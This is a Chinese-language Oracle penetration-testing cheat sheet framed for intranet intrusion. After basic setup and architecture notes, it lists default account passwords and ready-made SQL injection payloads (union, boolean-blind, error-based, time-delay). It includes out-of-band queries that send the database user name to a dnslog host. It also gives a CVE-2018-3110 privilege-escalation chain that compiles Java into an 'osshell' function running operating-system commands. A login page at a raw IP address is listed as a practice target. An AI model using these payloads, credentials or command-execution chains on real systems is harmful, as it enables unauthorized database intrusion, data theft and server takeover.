安装使用

oracle数据库特点:支持多用户,大数据,更安全。
链接:https://pan.baidu.com/s/1Y5PwTg30ejggVVT9fmZgKw
提取码:rt85

Windows下CMD输入sqlplus / as sysdba ,提示进入数据库,则说明安装成功
image.png
而Linux下则是
su - oracle 进入oracle管理员
sqlplus / as sysdba 进入数据查询
sqlplus username/password 用账户密码连接

Oracle默认密码
oracle数据库默认有非常多的用户,例如HR,PM,因为oracle数据库是商用的,因此为了权限划分更加严谨,会有许多的账户,这些账户可能无用,可能有用。
用户名: internal 密码:oracle
用户名:system 密码:manager
用户名:sys 密码:change_on_install
scott / tiger 但是显示被锁定账户 需要超级管理员来解锁

体系架构

首先,要明白一个概念,Oracle数据库的组成实际是由ctl文件、log文件以及dbf文件这三类文件组成,先不要管这三个文件是干嘛的,首先Oracle需要通过这三类文件,来启动数据库。
实例:oracle数据库起来后,会在内存中划取一段仅仅属于oracle的内存空间,然后产生出一堆进程,我们把这堆进程和内存空间统称为实例,**oracle实例**是oracle数据库内存和进程的总称,如果你把数据库关闭,实例就没了。
而实际上,我们认为的传统数据库(数据)其实是一堆存储的硬盘里的资料,而也是的确如此。因此在oracle即有两个概念——实例和数据库。一般数据库和实例是1:1的关系,也有可能是1:2的关系
有两台服务器,一台存储。存储中放oracle数据库文件,每台服务器都装oracle数据库软件。每台服务器启动一个实例,两个实例都访问存储中的oracle,这就是1:2的关系一个数据库对应俩实例。两个实例同时都可以访问oracle数据库。
一个用户要访问数据库,它连接到的是实例,通过实例来访问数据库。

表空间:表空间是在数据库下面的一个概念。是oracle数据库逻辑下概念的划分,一个数据库在逻辑上被划分成一到若干个表空间,每个表空间包含了在逻辑上相关的一组结构。每个数据库至少有一个表空间。称之为system表空间
1、一个数据文件只能属于一个表空间,数据文件(dbf,ora) 数据文件是数据库的物理存储单位
2、每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据文件(datafile)。
3、表空间是Oracle对物理数据库上相关数据文件(ORA或者DBF文件)的逻辑映射。
4、表空间与数据文件是一对多的关系(用户与表空间也是一对多的关系),而数据文件只能属于一个表空间,删除数据文件需先删除该文件所属的表空间。
5、表的数据(插入数据),是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或多个数据文件中(从逻辑插入,到实际落地文件)

用户:在大部分情况下,都是一个用户一般情况下对应一个数据库,因此你可以理解为用户是数据库的载体,例如当前MYSQL数据库下有N张表 <=> Oracle:当前用户下有N张表。
虽然有差别,但是你可以这么简单的理解。

2、oracle只有null,没有空””的概念

基本操作

熟悉一些基本的语法,会让你在内网渗透的时候,遇到oracle数据库弱口令或者获得翻配置文件获取到密码的时候起到非常重要的作用

连接数据库

show parameter servic 查看服务名
select global_name from global_name; 查看服务名
image.png
image.png
此外navicat还要配置对应版本的OCI文件才能连接成功
并且,使用普通综合版navicat进行远程连接的时候,还需要本地有oracle组件才能进行连接,不然会进行报错,所以oracle的连接是还是比较麻烦的。
因此建议在虚拟机装一个oracle环境吧。
image.png

创建表并插入数据的几个步骤
1、创建新的表空间

  1. //datafile为自己安装oracle时的路径
  2. create tablespace pentest
  3. datafile 'C:\\app\\Administrator\\oradata\\orcl\\pentest.dbf'
  4. size 100m
  5. autoextend on
  6. next 10m;

2、创建新用户并指定表空间给它: create user 用户名 identified by 密码 default tablespace 表空间表;

  1. create user ice identified by a123456 default tablespace pentest;
  2. GRANT UNLIMITED TABLESPACE TO ice;
  3. GRANT CONNECT TO ice;
  4. GRANT DBA TO ice;
  5. GRANT RESOURCE TO ice;

3、单纯的创建新用户

  1. create user iiice identified by a123456; 创建账户iiice 密码a123456
  2. grant dba to iiice; 赋予 topsec dba权限
  3. grant create session to iiice 赋予远程连接权限

4、创建表并插入数据(上面的是表空间)

  1. create table users(
  2. id number(10),
  3. name varchar2(16),
  4. pwd varchar2(32));
  5. insert into users (id,name,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');
  6. Commit (不然插入后,下次再打开就没了)

5、删除表(但是实际文件还存在,逻辑上的表没了)

  1. drop tablespace pentest;

查看连接是否开着(是否有服务器连接)
select status from v$instance; 一般为OPEN
查看所有用户
select from user_users;
查看当前版本
SELECT
from v$version;
SELECT banner from sys.v_$version where rownum=1;
查看当前用户是谁
show user
select user from dual;
查看当前user:
select sys_context(‘userenv’,’current_user’) as current_user from dual;
查看被赋予了DBA权限的用户有谁
select * from dba_role_privs where granted_role=’DBA’;
查看是否是dba用户,注意不是dba权限
select userenv(‘isdba’) from dual;
查看当前用户所有的表名
select table_name from user_tables;
查看当前用户能管理的数据表(数目会很大,没什么用)
select distinct owner, table_name from all_tables;
查看所有用户
select username from all_users;
获取操作系统的版本
SELECT banner FROM v$version where banner like ‘TNS%’;
查看所有用户的密码和哈希
select name, password, spare4 from sys.user$;(貌似没用)
查询属于ICE用户的表
SELECT table_name FROM ALL_TABLES WHERE OWNER=’ICE’ ;
查询属于当前用户的表
select * from tab;
快速查询某个表的数据
select * from users where rownum<100;
查看属于ice用户的users表的数据
select * from ice.users;
查看主机名**
SELECT utl_inaddr.get_host_name FROM dual;

oracle 一些特性

1、oracle可以使用||来进行连接
image.pngimage.png
2、代替空格 %00 %09 %0a %0b %0c %0d %20 /**/

  1. select user/*!saho*/from dual;USER/*!SAHO*/

image.png
3、函数可以加空格以
select userenv/**//(‘isdba’) from dual;

联合查询:

dual表:是一个虚拟的表,用来构成select的语法规则, oracle保证dual里面永远只有一条记录。
user_tables表:该表的table_name列存放着当前数据库的所有表。
user_tab_columns表: 该表的column_name 存放着表的所有列
all_tab_columns:该表的column_name也存放着所有的列

1、— 判断字段列数
id=1’ order by 3
2、 获取用户名(user的字段要与真实字段的数据类型对应)
id=1’ union select user,null,null from dual —
3、当前第一个数据表的表名
id=1’ union select tabale_name,null,null from user_tables where rownum=1 —
4 、或者是使用~符号将所有表名连接起来
id=’3’ union select null,null,(select listagg(table_name,’~’) within group(order by 1) from all_tables where owner=’ICE’) from dual;
5、将USERS表里的字段读取出来
select from users where id=’3’ union select null,null,(select listagg(column_name,’:’) within group(order by 1) from all_tab_columns where table_name=’USERS’) from dual;
6、读取数据
select
from users where id=’3’ union select null,null,(select listagg(name||’&’||pwd,’:’) within group(order by 1) from users where rownum=1) from dual;

布尔盲注:

1、substr(user,1,1) 从user的第一个字符开始截取
select from users where name=’kkkk’ and ‘I’=(select substr(user,1,1)from dual);
image.png
2、length
select
from users where name=’admin’ and 3=(select length(user) from dual)—
image.png
3、decode
如果user第一个字符为I,那就为1,否则为2
select from users where name=’admin’ and 1=(select decode(substr(user, 1, 1), ‘I’, (1/1),2) from dual);
image.png
select
from users where name=’admin’ and 1=(select decode(substr(user, 1, 1), ‘x’, (1/1),2) from dual);
image.png
简单判断盲注位置——如果1+1=2,那么返回1 最终组成31 否则返回4 最终组成34
select from users where id=’3’||decode(1+1,’2’,’1’,’4’)—‘
image.png
4、case when
select
from users where id=’3’||case when 1 like 1 then 3 else 1/0 end—‘
image.png
select * from users where id=’3’||case when (select user from dual) like ‘ICE’ then 3 else 1/0 end—‘
image.png

报错注入:

1、utl_inaddr.get_host_name 函数
select id from users where id=100 and 1=utl_inaddr.get_host_name((select
table_name from user_tables where rownum=1)) 获取当前表名
image.png
2、XMLType 函数
select id from users where id=100 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null—
image.png
3、 dbms_xdb_version.checkin函数
select id from users where id=100 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null —
image.png
4、DBMS_UTILITY.SQLID_TO_SQLHASH 函数**
select id from users where id=111 OR 1231=DBMS_UTILITY.SQLID_TO_SQLHASH((SELECT user FROM DUAL))—
image.png

5、ctxsys.drithsx.sn 函数
select id from users where id=111 and 1=ctxsys.drithsx.sn(1,(select user from dual))—
image.png
6、CTXSYS.CTX_REPORT.TOKEN_TYPE 函数
select id from users where id=1 and 1=(select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), ‘123’) from dual);
image.png

7、ctxsys.ctx_report.token_type函数
select id from users where id=1 and 1=(select ctxsys.ctx_report.token_type((select user from dual),1) from dual);
image.png

延时注入:

sname=1’ and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84 —
id=-1’ AND 1849=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(82)||CHR(82)||CHR(105),5) AND ‘fthT’=’fthT
id=-1’ AND 1849=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(82)||CHR(82)||CHR(105),5) AND ‘fthT’=’fthT’ —

时间注入:
DBMS_PIPE.RECEIVE_MESSAGE
id=-1’ AND 9089=DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)
配合DECODE来进行延时
select from users where id=1 and 1=(select decode(substr(user,1,1),’I’,dbms_pipe.receive_message(‘RDS’,5),0) from dual);
*

带外注入

utl_http.request(‘dnslog’||(select user from dual)) from dual;
select httpuritype((select user from dual)||’.xxxxxx.dnslog.cn’).getclob() from dual;
SELECT UTL_HTTP.REQUEST((select user from dual)||’.xxxxx.dnslog.cn’) FROM DUAL;

select utl_inaddr.get_host_address((select user from dual)||’.xxxxxx.dnslog.cn’) from dual;

  1. select dbms_ldap.init('xxxxxx.dnslog.cn',80) from dual;
  1. select httpuritype((select user from dual)||'.xxxxxx.dnslog.cn').getclob() from dual;

练习
http://180.97.2.45/Epoint_JSCLOUT/EntReport/login.aspx
https://www.cnblogs.com/wucg/archive/2011/07/13/2105531.html

暴力破解

执行命令

oracle还是相对安全的,它不像mssql提供了特定的参数来进行命令执行。
0、使用sqlplus连接数据库时候:host whoami
image.png
host是sqlplus的内置命令,作用是执行外部扩展命令,也就是执行本地系统命令,因此通过这种方式执行的是当前操作系统的命令,这就相当于是sqlplus的操作者在自己的系统上开了个cmd窗口执行命令一样,执行的并不是远程数据库所在系统的命令。

1、经典GET_DOMAIN_INDEX_TABLES提权漏洞

低版本Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2 提权漏洞,具体操作可看下列文章,注意版本一定要为低版本
https://mp.weixin.qq.com/s/dcsP31nciOJ6TBnDWonGFA
https://xz.aliyun.com/t/1228
https://www.cnblogs.com/-qing-/p/10758613.html

2、 CVE-2018-3110 11g提权漏洞 JAVA权限执行命令

CVE-2018-3110 需要一个数据库用户,具备最基本的CREATE SESSION,也就是说能够创建会话,连接到数据库。然后,基于对于公共 JAVA 对象的访问,获得权限提升,直至全部控制数据库
https://www.cnblogs.com/-qing-/p/10768290.html

  1. select null,null from dual union select 1,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
  1. select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
  1. select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function osshell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
  1. select osshell('whoami') from dual;

image.png

3、odat

https://github.com/quentinhardy/odat/releases/

4、MDAT oracle

下载地址:https://github.com/SafeGroceryStore/MDAT/releases
集合了多种数据库的综合利用工具
https://blog.csdn.net/weixin_39880479/article/details/113320368
image.png

5、当然最好用的是它了oracleshell.jar

image.png